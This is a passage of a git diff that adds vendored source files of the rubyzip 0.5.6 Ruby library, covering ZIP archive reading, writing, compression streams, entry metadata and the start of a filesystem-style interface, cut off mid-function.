+module Zlib + if ! const_defined? :MAX_WBITS + MAX_WBITS = Zlib::Deflate.MAX_WBITS + end +end + +module Zip + + RUBY_MINOR_VERSION = RUBY_VERSION.split(".")[1].to_i + + # Ruby 1.7.x compatibility + # In ruby 1.6.x and 1.8.0 reading from an empty stream returns + # an empty string the first time and then nil. + # not so in 1.7.x + EMPTY_FILE_RETURNS_EMPTY_STRING_FIRST = RUBY_MINOR_VERSION != 7 + + class ZipInputStream + include IOExtras::AbstractInputStream + + def initialize(filename, offset = 0) + super() + @archiveIO = File.open(filename, "rb") + @archiveIO.seek(offset, IO::SEEK_SET) + @decompressor = NullDecompressor.instance + @currentEntry = nil + end + + def close + @archiveIO.close + end + + def ZipInputStream.open(filename) + return new(filename) unless block_given? + + zio = new(filename) + yield zio + ensure + zio.close if zio + end + + def get_next_entry + @archiveIO.seek(@currentEntry.next_header_offset, + IO::SEEK_SET) if @currentEntry + open_entry + end + + def rewind + return if @currentEntry.nil? + @lineno = 0 + @archiveIO.seek(@currentEntry.localHeaderOffset, + IO::SEEK_SET) + open_entry + end + + def open_entry + @currentEntry = ZipEntry.read_local_entry(@archiveIO) + if (@currentEntry == nil) + @decompressor = NullDecompressor.instance + elsif @currentEntry.compression_method == ZipEntry::STORED + @decompressor = PassThruDecompressor.new(@archiveIO, + @currentEntry.size) + elsif @currentEntry.compression_method == ZipEntry::DEFLATED + @decompressor = Inflater.new(@archiveIO) + else + raise ZipCompressionMethodError, + "Unsupported compression method #{@currentEntry.compression_method}" + end + flush + return @currentEntry + end + + def read(numberOfBytes = nil) + @decompressor.read(numberOfBytes) + end + protected + def produce_input + @decompressor.produce_input + end + + def input_finished? + @decompressor.input_finished? + end + end + + + + class Decompressor #:nodoc:all + CHUNK_SIZE=32768 + def initialize(inputStream) + super() + @inputStream=inputStream + end + end + + class Inflater < Decompressor #:nodoc:all + def initialize(inputStream) + super + @zlibInflater = Zlib::Inflate.new(-Zlib::MAX_WBITS) + @outputBuffer="" + @hasReturnedEmptyString = ! EMPTY_FILE_RETURNS_EMPTY_STRING_FIRST + end + + def read(numberOfBytes = nil) + readEverything = (numberOfBytes == nil) + while (readEverything || @outputBuffer.length < numberOfBytes) + break if internal_input_finished? + @outputBuffer << internal_produce_input + end + return value_when_finished if @outputBuffer.length==0 && input_finished? + endIndex= numberOfBytes==nil ? @outputBuffer.length : numberOfBytes + return @outputBuffer.slice!(0...endIndex) + end + + def produce_input + if (@outputBuffer.empty?) + return internal_produce_input + else + return @outputBuffer.slice!(0...(@outputBuffer.length)) + end + end + + # to be used with produce_input, not read (as read may still have more data cached) + def input_finished? + @outputBuffer.empty? && internal_input_finished? + end + + private + + def internal_produce_input + @zlibInflater.inflate(@inputStream.read(Decompressor::CHUNK_SIZE)) + end + + def internal_input_finished? + @zlibInflater.finished? + end + + # TODO: Specialize to handle different behaviour in ruby > 1.7.0 ? + def value_when_finished # mimic behaviour of ruby File object. + return nil if @hasReturnedEmptyString + @hasReturnedEmptyString=true + return "" + end + end + + class PassThruDecompressor < Decompressor #:nodoc:all + def initialize(inputStream, charsToRead) + super inputStream + @charsToRead = charsToRead + @readSoFar = 0 + @hasReturnedEmptyString = ! EMPTY_FILE_RETURNS_EMPTY_STRING_FIRST + end + + # TODO: Specialize to handle different behaviour in ruby > 1.7.0 ? + def read(numberOfBytes = nil) + if input_finished? + hasReturnedEmptyStringVal=@hasReturnedEmptyString + @hasReturnedEmptyString=true + return "" unless hasReturnedEmptyStringVal + return nil + end + + if (numberOfBytes == nil || @readSoFar+numberOfBytes > @charsToRead) + numberOfBytes = @charsToRead-@readSoFar + end + @readSoFar += numberOfBytes + @inputStream.read(numberOfBytes) + end + + def produce_input + read(Decompressor::CHUNK_SIZE) + end + + def input_finished? + (@readSoFar >= @charsToRead) + end + end + + class NullDecompressor #:nodoc:all + include Singleton + def read(numberOfBytes = nil) + nil + end + + def produce_input + nil + end + + def input_finished? + true + end + end + + class NullInputStream < NullDecompressor #:nodoc:all + include IOExtras::AbstractInputStream + end + + class ZipEntry + STORED = 0 + DEFLATED = 8 + + attr_accessor :comment, :compressed_size, :crc, :extra, :compression_method, + :name, :size, :localHeaderOffset, :zipfile, :fstype, :externalFileAttributes + + def initialize(zipfile = "", name = "", comment = "", extra = "", + compressed_size = 0, crc = 0, + compression_method = ZipEntry::DEFLATED, size = 0, + time = Time.now) + super() + if name.starts_with("/") + raise ZipEntryNameError, "Illegal ZipEntry name '#{name}', name must not start with /" + end + @localHeaderOffset = 0 + @internalFileAttributes = 1 + @externalFileAttributes = 0 + @version = 52 # this library's version + @fstype = 0 # default is fat + @zipfile, @comment, @compressed_size, @crc, @extra, @compression_method, + @name, @size = zipfile, comment, compressed_size, crc, + extra, compression_method, name, size + @time = time + unless ZipExtraField === @extra + @extra = ZipExtraField.new(@extra.to_s) + end + end + + def time + if @extra["UniversalTime"] + @extra["UniversalTime"].mtime + else + # Atandard time field in central directory has local time + # under archive creator. Then, we can't get timezone. + @time + end + end + alias :mtime :time + + def time=(aTime) + unless @extra.member?("UniversalTime") + @extra.create("UniversalTime") + end + @extra["UniversalTime"].mtime = aTime + @time = aTime + end + + def directory? + return (%r{\/$} =~ @name) != nil + end + alias :is_directory :directory? + + def file? + ! directory? + end + + def local_entry_offset #:nodoc:all + localHeaderOffset + local_header_size + end + + def local_header_size #:nodoc:all + LOCAL_ENTRY_STATIC_HEADER_LENGTH + (@name ? @name.size : 0) + (@extra ? @extra.local_size : 0) + end + + def cdir_header_size #:nodoc:all + CDIR_ENTRY_STATIC_HEADER_LENGTH + (@name ? @name.size : 0) + + (@extra ? @extra.c_dir_size : 0) + (@comment ? @comment.size : 0) + end + + def next_header_offset #:nodoc:all + local_entry_offset + self.compressed_size + end + + def to_s + @name + end + + protected + + def ZipEntry.read_zip_short(io) + io.read(2).unpack('v')[0] + end + + def ZipEntry.read_zip_long(io) + io.read(4).unpack('V')[0] + end + public + + LOCAL_ENTRY_SIGNATURE = 0x04034b50 + LOCAL_ENTRY_STATIC_HEADER_LENGTH = 30 + + def read_local_entry(io) #:nodoc:all + @localHeaderOffset = io.tell + staticSizedFieldsBuf = io.read(LOCAL_ENTRY_STATIC_HEADER_LENGTH) + unless (staticSizedFieldsBuf.size==LOCAL_ENTRY_STATIC_HEADER_LENGTH) + raise ZipError, "Premature end of file. Not enough data for zip entry local header" + end + + localHeader , + @version , + @fstype , + @gpFlags , + @compression_method, + lastModTime , + lastModDate , + @crc , + @compressed_size , + @size , + nameLength , + extraLength = staticSizedFieldsBuf.unpack('VCCvvvvVVVvv') + + unless (localHeader == LOCAL_ENTRY_SIGNATURE) + raise ZipError, "Zip local header magic not found at location '#{localHeaderOffset}'" + end + set_time(lastModDate, lastModTime) + + @name = io.read(nameLength) + extra = io.read(extraLength) + + if (extra && extra.length != extraLength) + raise ZipError, "Truncated local zip entry header" + else + if ZipExtraField === @extra + @extra.merge(extra) + else + @extra = ZipExtraField.new(extra) + end + end + end + + def ZipEntry.read_local_entry(io) + entry = new(io.path) + entry.read_local_entry(io) + return entry + rescue ZipError + return nil + end + + def write_local_entry(io) #:nodoc:all + @localHeaderOffset = io.tell + + io << + [LOCAL_ENTRY_SIGNATURE , + 0 , + 0 , # @gpFlags , + @compression_method , + @time.to_binary_dos_time , # @lastModTime , + @time.to_binary_dos_date , # @lastModDate , + @crc , + @compressed_size , + @size , + @name ? @name.length : 0, + @extra? @extra.local_length : 0 ].pack('VvvvvvVVVvv') + io << @name + io << (@extra ? @extra.to_local_bin : "") + end + + CENTRAL_DIRECTORY_ENTRY_SIGNATURE = 0x02014b50 + CDIR_ENTRY_STATIC_HEADER_LENGTH = 46 + + def read_c_dir_entry(io) #:nodoc:all + staticSizedFieldsBuf = io.read(CDIR_ENTRY_STATIC_HEADER_LENGTH) + unless (staticSizedFieldsBuf.size == CDIR_ENTRY_STATIC_HEADER_LENGTH) + raise ZipError, "Premature end of file. Not enough data for zip cdir entry header" + end + + cdirSignature , + @version , # version of encoding software + @fstype , # filesystem type + @versionNeededToExtract, + @gpFlags , + @compression_method , + lastModTime , + lastModDate , + @crc , + @compressed_size , + @size , + nameLength , + extraLength , + commentLength , + diskNumberStart , + @internalFileAttributes, + @externalFileAttributes, + @localHeaderOffset , + @name , + @extra , + @comment = staticSizedFieldsBuf.unpack('VCCvvvvvVVVvvvvvVV') + + unless (cdirSignature == CENTRAL_DIRECTORY_ENTRY_SIGNATURE) + raise ZipError, "Zip local header magic not found at location '#{localHeaderOffset}'" + end + set_time(lastModDate, lastModTime) + + @name = io.read(nameLength) + if ZipExtraField === @extra + @extra.merge(io.read(extraLength)) + else + @extra = ZipExtraField.new(io.read(extraLength)) + end + @comment = io.read(commentLength) + unless (@comment && @comment.length == commentLength) + raise ZipError, "Truncated cdir zip entry header" + end + end + + def ZipEntry.read_c_dir_entry(io) #:nodoc:all + entry = new(io.path) + entry.read_c_dir_entry(io) + return entry + rescue ZipError + return nil + end + + + def write_c_dir_entry(io) #:nodoc:all + io << + [CENTRAL_DIRECTORY_ENTRY_SIGNATURE, + @version , # version of encoding software + @fstype , # filesystem type + 0 , # @versionNeededToExtract , + 0 , # @gpFlags , + @compression_method , + @time.to_binary_dos_time , # @lastModTime , + @time.to_binary_dos_date , # @lastModDate , + @crc , + @compressed_size , + @size , + @name ? @name.length : 0 , + @extra ? @extra.c_dir_length : 0 , + @comment ? comment.length : 0 , + 0 , # disk number start + @internalFileAttributes , # file type (binary=0, text=1) + @externalFileAttributes , # native filesystem attributes + @localHeaderOffset , + @name , + @extra , + @comment ].pack('VCCvvvvvVVVvvvvvVV') + + io << @name + io << (@extra ? @extra.to_c_dir_bin : "") + io << @comment + end + + def == (other) + return false unless other.class == ZipEntry + # Compares contents of local entry and exposed fields + (@compression_method == other.compression_method && + @crc == other.crc && + @compressed_size == other.compressed_size && + @size == other.size && + @name == other.name && + @extra == other.extra && + self.time.dos_equals(other.time)) + end + + def <=> (other) + return to_s <=> other.to_s + end + + def get_input_stream + zis = ZipInputStream.new(@zipfile, localHeaderOffset) + zis.get_next_entry + if block_given? + begin + return yield(zis) + ensure + zis.close + end + else + return zis + end + end + + + def write_to_zip_output_stream(aZipOutputStream) #:nodoc:all + aZipOutputStream.copy_raw_entry(self) + end + + def parent_as_string + entry_name = name.chomp("/") + slash_index = entry_name.rindex("/") + slash_index ? entry_name.slice(0, slash_index+1) : nil + end + + def get_raw_input_stream(&aProc) + File.open(@zipfile, "rb", &aProc) + end + + private + def set_time(binaryDosDate, binaryDosTime) + @time = Time.parse_binary_dos_format(binaryDosDate, binaryDosTime) + rescue ArgumentError + puts "Invalid date/time in zip entry" + end + end + + + class ZipOutputStream + include IOExtras::AbstractOutputStream + + attr_accessor :comment + + def initialize(fileName) + super() + @fileName = fileName + @outputStream = File.new(@fileName, "wb") + @entrySet = ZipEntrySet.new + @compressor = NullCompressor.instance + @closed = false + @currentEntry = nil + @comment = nil + end + + def ZipOutputStream.open(fileName) + return new(fileName) unless block_given? + zos = new(fileName) + yield zos + ensure + zos.close if zos + end + + def close + return if @closed + finalize_current_entry + update_local_headers + write_central_directory + @outputStream.close + @closed = true + end + + def put_next_entry(entry, level = Zlib::DEFAULT_COMPRESSION) + raise ZipError, "zip stream is closed" if @closed + newEntry = entry.kind_of?(ZipEntry) ? entry : ZipEntry.new(@fileName, entry.to_s) + init_next_entry(newEntry) + @currentEntry=newEntry + end + + def copy_raw_entry(entry) + entry = entry.dup + raise ZipError, "zip stream is closed" if @closed + raise ZipError, "entry is not a ZipEntry" if !entry.kind_of?(ZipEntry) + finalize_current_entry + @entrySet << entry + src_pos = entry.local_entry_offset + entry.write_local_entry(@outputStream) + @compressor = NullCompressor.instance + @outputStream << entry.get_raw_input_stream { + |is| + is.seek(src_pos, IO::SEEK_SET) + is.read(entry.compressed_size) + } + @compressor = NullCompressor.instance + @currentEntry = nil + end + + private + def finalize_current_entry + return unless @currentEntry + finish + @currentEntry.compressed_size = @outputStream.tell - @currentEntry.localHeaderOffset - + @currentEntry.local_header_size + @currentEntry.size = @compressor.size + @currentEntry.crc = @compressor.crc + @currentEntry = nil + @compressor = NullCompressor.instance + end + + def init_next_entry(entry, level = Zlib::DEFAULT_COMPRESSION) + finalize_current_entry + @entrySet << entry + entry.write_local_entry(@outputStream) + @compressor = get_compressor(entry, level) + end + + def get_compressor(entry, level) + case entry.compression_method + when ZipEntry::DEFLATED then Deflater.new(@outputStream, level) + when ZipEntry::STORED then PassThruCompressor.new(@outputStream) + else raise ZipCompressionMethodError, + "Invalid compression method: '#{entry.compression_method}'" + end + end + + def update_local_headers + pos = @outputStream.tell + @entrySet.each { + |entry| + @outputStream.pos = entry.localHeaderOffset + entry.write_local_entry(@outputStream) + } + @outputStream.pos = pos + end + + def write_central_directory + cdir = ZipCentralDirectory.new(@entrySet, @comment) + cdir.write_to_stream(@outputStream) + end + + protected + + def finish + @compressor.finish + end + + public + def << (data) + @compressor << data + end + end + + + class Compressor #:nodoc:all + def finish + end + end + + class PassThruCompressor < Compressor #:nodoc:all + def initialize(outputStream) + super() + @outputStream = outputStream + @crc = Zlib::crc32 + @size = 0 + end + + def << (data) + val = data.to_s + @crc = Zlib::crc32(val, @crc) + @size += val.size + @outputStream << val + end + + attr_reader :size, :crc + end + + class NullCompressor < Compressor #:nodoc:all + include Singleton + + def << (data) + raise IOError, "closed stream" + end + + attr_reader :size, :compressed_size + end + + class Deflater < Compressor #:nodoc:all + def initialize(outputStream, level = Zlib::DEFAULT_COMPRESSION) + super() + @outputStream = outputStream + @zlibDeflater = Zlib::Deflate.new(level, -Zlib::MAX_WBITS) + @size = 0 + @crc = Zlib::crc32 + end + + def << (data) + val = data.to_s + @crc = Zlib::crc32(val, @crc) + @size += val.size + @outputStream << @zlibDeflater.deflate(data) + end + + def finish + until @zlibDeflater.finished? + @outputStream << @zlibDeflater.finish + end + end + + attr_reader :size, :crc + end + + + class ZipEntrySet + include Enumerable + + def initialize(anEnumerable = []) + super() + @entrySet = {} + anEnumerable.each { |o| push(o) } + end + + def include?(entry) + @entrySet.include?(entry.to_s) + end + + def <<(entry) + @entrySet[entry.to_s] = entry + end + alias :push :<< + + def size + @entrySet.size + end + alias :length :size + + def delete(entry) + @entrySet.delete(entry.to_s) ? entry : nil + end + + def each(&aProc) + @entrySet.values.each(&aProc) + end + + def entries + @entrySet.values + end + + # deep clone + def dup + newZipEntrySet = ZipEntrySet.new(@entrySet.values.map { |e| e.dup }) + end + + def == (other) + return false unless other.kind_of?(ZipEntrySet) + return @entrySet == other.entrySet + end + + def parent(entry) + @entrySet[entry.parent_as_string] + end + +#TODO attr_accessor :auto_create_directories + protected + attr_accessor :entrySet + end + + + class ZipCentralDirectory #:nodoc:all + include Enumerable + + END_OF_CENTRAL_DIRECTORY_SIGNATURE = 0x06054b50 + MAX_END_OF_CENTRAL_DIRECTORY_STRUCTURE_SIZE = 65536 + 18 + STATIC_EOCD_SIZE = 22 + + attr_reader :comment + + def entries + @entrySet.entries + end + + def initialize(entries = ZipEntrySet.new, comment = "") + super() + @entrySet = entries.kind_of?(ZipEntrySet) ? entries : ZipEntrySet.new(entries) + @comment = comment + end + + def write_to_stream(io) + offset = io.tell + @entrySet.each { |entry| entry.write_c_dir_entry(io) } + write_e_o_c_d(io, offset) + end + + def write_e_o_c_d(io, offset) + io << + [END_OF_CENTRAL_DIRECTORY_SIGNATURE, + 0 , # @numberOfThisDisk + 0 , # @numberOfDiskWithStartOfCDir + @entrySet? @entrySet.size : 0 , + @entrySet? @entrySet.size : 0 , + cdir_size , + offset , + @comment ? @comment.length : 0 ].pack('VvvvvVVv') + io << @comment + end + private :write_e_o_c_d + + def cdir_size + # does not include eocd + @entrySet.inject(0) { |value, entry| entry.cdir_header_size + value } + end + private :cdir_size + + def read_e_o_c_d(io) + buf = get_e_o_c_d(io) + @numberOfThisDisk = ZipEntry::read_zip_short(buf) + @numberOfDiskWithStartOfCDir = ZipEntry::read_zip_short(buf) + @totalNumberOfEntriesInCDirOnThisDisk = ZipEntry::read_zip_short(buf) + @size = ZipEntry::read_zip_short(buf) + @sizeInBytes = ZipEntry::read_zip_long(buf) + @cdirOffset = ZipEntry::read_zip_long(buf) + commentLength = ZipEntry::read_zip_short(buf) + @comment = buf.read(commentLength) + raise ZipError, "Zip consistency problem while reading eocd structure" unless buf.size == 0 + end + + def read_central_directory_entries(io) + begin + io.seek(@cdirOffset, IO::SEEK_SET) + rescue Errno::EINVAL + raise ZipError, "Zip consistency problem while reading central directory entry" + end + @entrySet = ZipEntrySet.new + @size.times { + @entrySet << ZipEntry.read_c_dir_entry(io) + } + end + + def read_from_stream(io) + read_e_o_c_d(io) + read_central_directory_entries(io) + end + + def get_e_o_c_d(io) + begin + io.seek(-MAX_END_OF_CENTRAL_DIRECTORY_STRUCTURE_SIZE, IO::SEEK_END) + rescue Errno::EINVAL + io.seek(0, IO::SEEK_SET) + rescue Errno::EFBIG # FreeBSD 4.9 returns Errno::EFBIG instead of Errno::EINVAL + io.seek(0, IO::SEEK_SET) + end + buf = io.read + sigIndex = buf.rindex([END_OF_CENTRAL_DIRECTORY_SIGNATURE].pack('V')) + raise ZipError, "Zip end of central directory signature not found" unless sigIndex + buf=buf.slice!((sigIndex+4)...(buf.size)) + def buf.read(count) + slice!(0, count) + end + return buf + end + + def each(&proc) + @entrySet.each(&proc) + end + + def size + @entrySet.size + end + + def ZipCentralDirectory.read_from_stream(io) + cdir = new + cdir.read_from_stream(io) + return cdir + rescue ZipError + return nil + end + + def == (other) + return false unless other.kind_of?(ZipCentralDirectory) + @entrySet.entries.sort == other.entries.sort && comment == other.comment + end + end + + + class ZipError < StandardError ; end + + class ZipEntryExistsError < ZipError; end + class ZipDestinationFileExistsError < ZipError; end + class ZipCompressionMethodError < ZipError; end + class ZipEntryNameError < ZipError; end + + class ZipFile < ZipCentralDirectory + + CREATE = 1 + + attr_reader :name + + def initialize(fileName, create = nil) + super() + @name = fileName + @comment = "" + if (File.exists?(fileName)) + File.open(name, "rb") { |f| read_from_stream(f) } + elsif (create == ZipFile::CREATE) + @entrySet = ZipEntrySet.new + else + raise ZipError, "File #{fileName} not found" + end + @create = create + @storedEntries = @entrySet.dup + end + + def ZipFile.open(fileName, create = nil) + zf = ZipFile.new(fileName, create) + if block_given? + begin + yield zf + ensure + zf.close + end + else + zf + end + end + + attr_accessor :comment + + def ZipFile.foreach(aZipFileName, &block) + ZipFile.open(aZipFileName) { + |zipFile| + zipFile.each(&block) + } + end + + def get_input_stream(entry, &aProc) + get_entry(entry).get_input_stream(&aProc) + end + + def get_output_stream(entry, &aProc) + newEntry = entry.kind_of?(ZipEntry) ? entry : ZipEntry.new(@name, entry.to_s) + if newEntry.directory? + raise ArgumentError, + "cannot open stream to directory entry - '#{newEntry}'" + end + zipStreamableEntry = ZipStreamableStream.new(newEntry) + @entrySet << zipStreamableEntry + zipStreamableEntry.get_output_stream(&aProc) + end + + def to_s + @name + end + + def read(entry) + get_input_stream(entry) { |is| is.read } + end + + def add(entry, srcPath, &continueOnExistsProc) + continueOnExistsProc ||= proc { false } + check_entry_exists(entry, continueOnExistsProc, "add") + newEntry = entry.kind_of?(ZipEntry) ? entry : ZipEntry.new(@name, entry.to_s) + if is_directory(newEntry, srcPath) + @entrySet << ZipStreamableDirectory.new(newEntry) + else + @entrySet << ZipStreamableFile.new(newEntry, srcPath) + end + end + + def remove(entry) + @entrySet.delete(get_entry(entry)) + end + + def rename(entry, newName, &continueOnExistsProc) + foundEntry = get_entry(entry) + check_entry_exists(newName, continueOnExistsProc, "rename") + foundEntry.name=newName + end + + def replace(entry, srcPath) + check_file(srcPath) + add(remove(entry), srcPath) + end + + def extract(entry, destPath, &onExistsProc) + onExistsProc ||= proc { false } + foundEntry = get_entry(entry) + if foundEntry.is_directory + create_directory(foundEntry, destPath, &onExistsProc) + else + write_file(foundEntry, destPath, &onExistsProc) + end + end + + def commit + return if ! commit_required? + on_success_replace(name) { + |tmpFile| + ZipOutputStream.open(tmpFile) { + |zos| + + @entrySet.each { |e| e.write_to_zip_output_stream(zos) } + zos.comment = comment + } + true + } + initialize(name) + end + + def close + commit + end + + def commit_required? + return @entrySet != @storedEntries || @create == ZipFile::CREATE + end + + def find_entry(entry) + @entrySet.detect { + |e| + e.name.sub(/\/$/, "") == entry.to_s.sub(/\/$/, "") + } + end + + def get_entry(entry) + selectedEntry = find_entry(entry) + unless selectedEntry + raise Errno::ENOENT, entry + end + return selectedEntry + end + + def mkdir(entryName, permissionInt = 0) #permissionInt ignored + if find_entry(entryName) + raise Errno::EEXIST, "File exists - #{entryName}" + end + @entrySet << ZipStreamableDirectory.new(ZipEntry.new(name, entryName.to_s.ensure_end("/"))) + end + + private + + def create_directory(entry, destPath) + if File.directory? destPath + return + elsif File.exists? destPath + if block_given? && yield(entry, destPath) + File.rm_f destPath + else + raise ZipDestinationFileExistsError, + "Cannot create directory '#{destPath}'. "+ + "A file already exists with that name" + end + end + Dir.mkdir destPath + end + + def is_directory(newEntry, srcPath) + srcPathIsDirectory = File.directory?(srcPath) + if newEntry.is_directory && ! srcPathIsDirectory + raise ArgumentError, + "entry name '#{newEntry}' indicates directory entry, but "+ + "'#{srcPath}' is not a directory" + elsif ! newEntry.is_directory && srcPathIsDirectory + newEntry.name += "/" + end + return newEntry.is_directory && srcPathIsDirectory + end + + def check_entry_exists(entryName, continueOnExistsProc, procedureName) + continueOnExistsProc ||= proc { false } + if @entrySet.detect { |e| e.name == entryName } + if continueOnExistsProc.call + remove get_entry(entryName) + else + raise ZipEntryExistsError, + procedureName+" failed. Entry #{entryName} already exists" + end + end + end + + def write_file(entry, destPath, continueOnExistsProc = proc { false }) + if File.exists?(destPath) && ! yield(entry, destPath) + raise ZipDestinationFileExistsError, + "Destination '#{destPath}' already exists" + end + File.open(destPath, "wb") { + |os| + entry.get_input_stream { |is| os << is.read } + } + end + + def check_file(path) + unless File.readable? path + raise Errno::ENOENT, path + end + end + + def on_success_replace(aFilename) + tmpfile = get_tempfile + tmpFilename = tmpfile.path + tmpfile.close + if yield tmpFilename + File.move(tmpFilename, name) + end + end + + def get_tempfile + tempFile = Tempfile.new(File.basename(name), File.dirname(name)) + tempFile.binmode + tempFile + end + + end + + class ZipStreamableFile < DelegateClass(ZipEntry) #:nodoc:all + def initialize(entry, filepath) + super(entry) + @delegate = entry + @filepath = filepath + end + + def get_input_stream(&aProc) + File.open(@filepath, "rb", &aProc) + end + + def write_to_zip_output_stream(aZipOutputStream) + aZipOutputStream.put_next_entry(self) + aZipOutputStream << get_input_stream { |is| is.read } + end + + def == (other) + return false unless other.class == ZipStreamableFile + @filepath == other.filepath && super(other.delegate) + end + + protected + attr_reader :filepath, :delegate + end + + class ZipStreamableDirectory < DelegateClass(ZipEntry) #:nodoc:all + def initialize(entry) + super(entry) + end + + def get_input_stream(&aProc) + return yield(NullInputStream.instance) if block_given? + NullInputStream.instance + end + + def write_to_zip_output_stream(aZipOutputStream) + aZipOutputStream.put_next_entry(self) + end + end + + class ZipStreamableStream < DelegateClass(ZipEntry) #nodoc:all + def initialize(entry) + super(entry) + @tempFile = Tempfile.new(File.basename(name), File.dirname(zipfile)) + @tempFile.binmode + end + + def get_output_stream + if block_given? + begin + yield(@tempFile) + ensure + @tempFile.close + end + else + @tempFile + end + end + + def get_input_stream + if ! @tempFile.closed? + raise StandardError, "cannot open entry for reading while its open for writing - #{name}" + end + @tempFile.open # reopens tempfile from top + if block_given? + begin + yield(@tempFile) + ensure + @tempFile.close + end + else + @tempFile + end + end + + def write_to_zip_output_stream(aZipOutputStream) + aZipOutputStream.put_next_entry(self) + aZipOutputStream << get_input_stream { |is| is.read } + end + end + + class ZipExtraField < Hash + ID_MAP = {} + + # Meta class for extra fields + class Generic + def self.register_map + if self.const_defined?(:HEADER_ID) + ID_MAP[self.const_get(:HEADER_ID)] = self + end + end + + def self.name + self.to_s.split("::")[-1] + end + + # return field [size, content] or false + def initial_parse(binstr) + if ! binstr + # If nil, start with empty. + return false + elsif binstr[0,2] != self.class.const_get(:HEADER_ID) + $stderr.puts "Warning: weired extra feild header ID. skip parsing" + return false + end + [binstr[2,2].unpack("v")[0], binstr[4..-1]] + end + + def ==(other) + self.class != other.class and return false + each { |k, v| + v != other[k] and return false + } + true + end + + def to_local_bin + s = pack_for_local + self.class.const_get(:HEADER_ID) + [s.length].pack("v") + s + end + + def to_c_dir_bin + s = pack_for_c_dir + self.class.const_get(:HEADER_ID) + [s.length].pack("v") + s + end + end + + # Info-ZIP Additional timestamp field + class UniversalTime < Generic + HEADER_ID = "UT" + register_map + + def initialize(binstr = nil) + @ctime = nil + @mtime = nil + @atime = nil + @flag = nil + binstr and merge(binstr) + end + attr_accessor :atime, :ctime, :mtime, :flag + + def merge(binstr) + binstr == "" and return + size, content = initial_parse(binstr) + size or return + @flag, mtime, atime, ctime = content.unpack("CVVV") + mtime and @mtime ||= Time.at(mtime) + atime and @atime ||= Time.at(atime) + ctime and @ctime ||= Time.at(ctime) + end + + def ==(other) + @mtime == other.mtime && + @atime == other.atime && + @ctime == other.ctime + end + + def pack_for_local + s = [@flag].pack("C") + @flag & 1 != 0 and s << [@mtime.to_i].pack("V") + @flag & 2 != 0 and s << [@atime.to_i].pack("V") + @flag & 4 != 0 and s << [@ctime.to_i].pack("V") + s + end + + def pack_for_c_dir + s = [@flag].pack("C") + @flag & 1 == 1 and s << [@mtime.to_i].pack("V") + s + end + end + + # Info-ZIP Extra for UNIX uid/gid + class IUnix < Generic + HEADER_ID = "Ux" + register_map + + def initialize(binstr = nil) + @uid = nil + @gid = nil + binstr and merge(binstr) + end + attr_accessor :uid, :gid + + def merge(binstr) + binstr == "" and return + size, content = initial_parse(binstr) + # size: 0 for central direcotry. 4 for local header + return if(! size || size == 0) + uid, gid = content.unpack("vv") + @uid ||= uid + @gid ||= gid + end + + def ==(other) + @uid == other.uid && + @gid == other.gid + end + + def pack_for_local + [@uid, @gid].pack("vv") + end + + def pack_for_c_dir + "" + end + end + + ## start main of ZipExtraField < Hash + def initialize(binstr = nil) + binstr and merge(binstr) + end + + def merge(binstr) + binstr == "" and return + i = 0 + while i < binstr.length + id = binstr[i,2] + len = binstr[i+2,2].to_s.unpack("v")[0] + if id && ID_MAP.member?(id) + field_name = ID_MAP[id].name + if self.member?(field_name) + self[field_name].mergea(binstr[i, len+4]) + else + field_obj = ID_MAP[id].new(binstr[i, len+4]) + self[field_name] = field_obj + end + elsif id + unless self["Unknown"] + s = "" + class << s + alias_method :to_c_dir_bin, :to_s + alias_method :to_local_bin, :to_s + end + self["Unknown"] = s + end + if ! len || len+4 > binstr[i..-1].length + self["Unknown"] << binstr[i..-1] + break; + end + self["Unknown"] << binstr[i, len+4] + end + i += len+4 + end + end + + def create(name) + field_class = nil + ID_MAP.each { |id, klass| + if klass.name == name + field_class = klass + break + end + } + if ! field_class + raise ZipError, "Unknown extra field '#{name}'" + end + self[name] = field_class.new() + end + + def to_local_bin + s = "" + each { |k, v| + s << v.to_local_bin + } + s + end + alias :to_s :to_local_bin + + def to_c_dir_bin + s = "" + each { |k, v| + s << v.to_c_dir_bin + } + s + end + + def c_dir_length + to_c_dir_bin.length + end + def local_length + to_local_bin.length + end + alias :c_dir_size :c_dir_length + alias :local_size :local_length + alias :length :local_length + alias :size :local_length + end # end ZipExtraField + +end # Zip namespace module + + + +# Copyright (C) 2002, 2003 Thomas Sondergaard +# rubyzip is free software; you can redistribute it and/or +# modify it under the terms of the ruby license. diff --git a/vendor/rubyzip-0.5.6/zip/zipfilesystem.rb b/vendor/rubyzip-0.5.6/zip/zipfilesystem.rb new file mode 100755 index 00000000..3db200f5 --- /dev/null +++ b/vendor/rubyzip-0.5.6/zip/zipfilesystem.rb @@ -0,0 +1,558 @@ +require 'zip/zip' + +module Zip + module ZipFileSystem + + def initialize + mappedZip = ZipFileNameMapper.new(self) + @zipFsDir = ZipFsDir.new(mappedZip) + @zipFsFile = ZipFsFile.new(mappedZip) + @zipFsDir.file = @zipFsFile + @zipFsFile.dir = @zipFsDir + end + + def dir + @zipFsDir + end + + def file + @zipFsFile + end + + class ZipFsFile + + attr_writer :dir +# protected :dir + + class ZipFsStat + def initialize(zipFsFile, entryName) + @zipFsFile = zipFsFile + @entryName = entryName + end + + def forward_invoke(msg) + @zipFsFile.send(msg, @entryName) + end + + def kind_of?(t) + super || t == ::File::Stat + end + + forward_message :forward_invoke, :file?, :directory?, :pipe?, :chardev? + forward_message :forward_invoke, :symlink?, :socket?, :blockdev? + forward_message :forward_invoke, :readable?, :readable_real? + forward_message :forward_invoke, :writable?, :writable_real? + forward_message :forward_invoke, :executable?, :executable_real? + forward_message :forward_invoke, :sticky?, :owned?, :grpowned? + forward_message :forward_invoke, :setuid?, :setgid? + forward_message :forward_invoke, :zero? + forward_message :forward_invoke, :size, :size? + forward_message :forward_invoke, :mtime, :atime, :ctime + + def blocks; nil; end + + def get_entry + @zipFsFile.__send__(:get_entry, @entryName) + end + private :get_entry + + def gid + e = get_entry + if e.extra.member? "IUnix" + e.extra["IUnix"].gid || 0 + else + 0 + end + end + + def uid + e = get_entry + if e.extra.member? "IUnix" + e.extra["IUnix"].uid || 0 + else + 0 + end + end + + def ino; 0; end + + def dev; 0; end + + def rdev; 0; end + + def rdev_major; 0; end + + def rdev_minor; 0; end + + def ftype + if file? + return "file" + elsif directory? + return "directory" + else + raise StandardError, "Unknown file type" + end + end + + def nlink; 1; end + + def blksize; nil; end + + def mode + e = get_entry + if e.fstype == 3 + e.externalFileAttributes >> 16 + else + 33206 # 33206 is equivalent to -rw-rw-rw- + end + end + end + + def initialize(mappedZip) + @mappedZip = mappedZip + end + + def get_entry(fileName) + if ! exists?(fileName) + raise 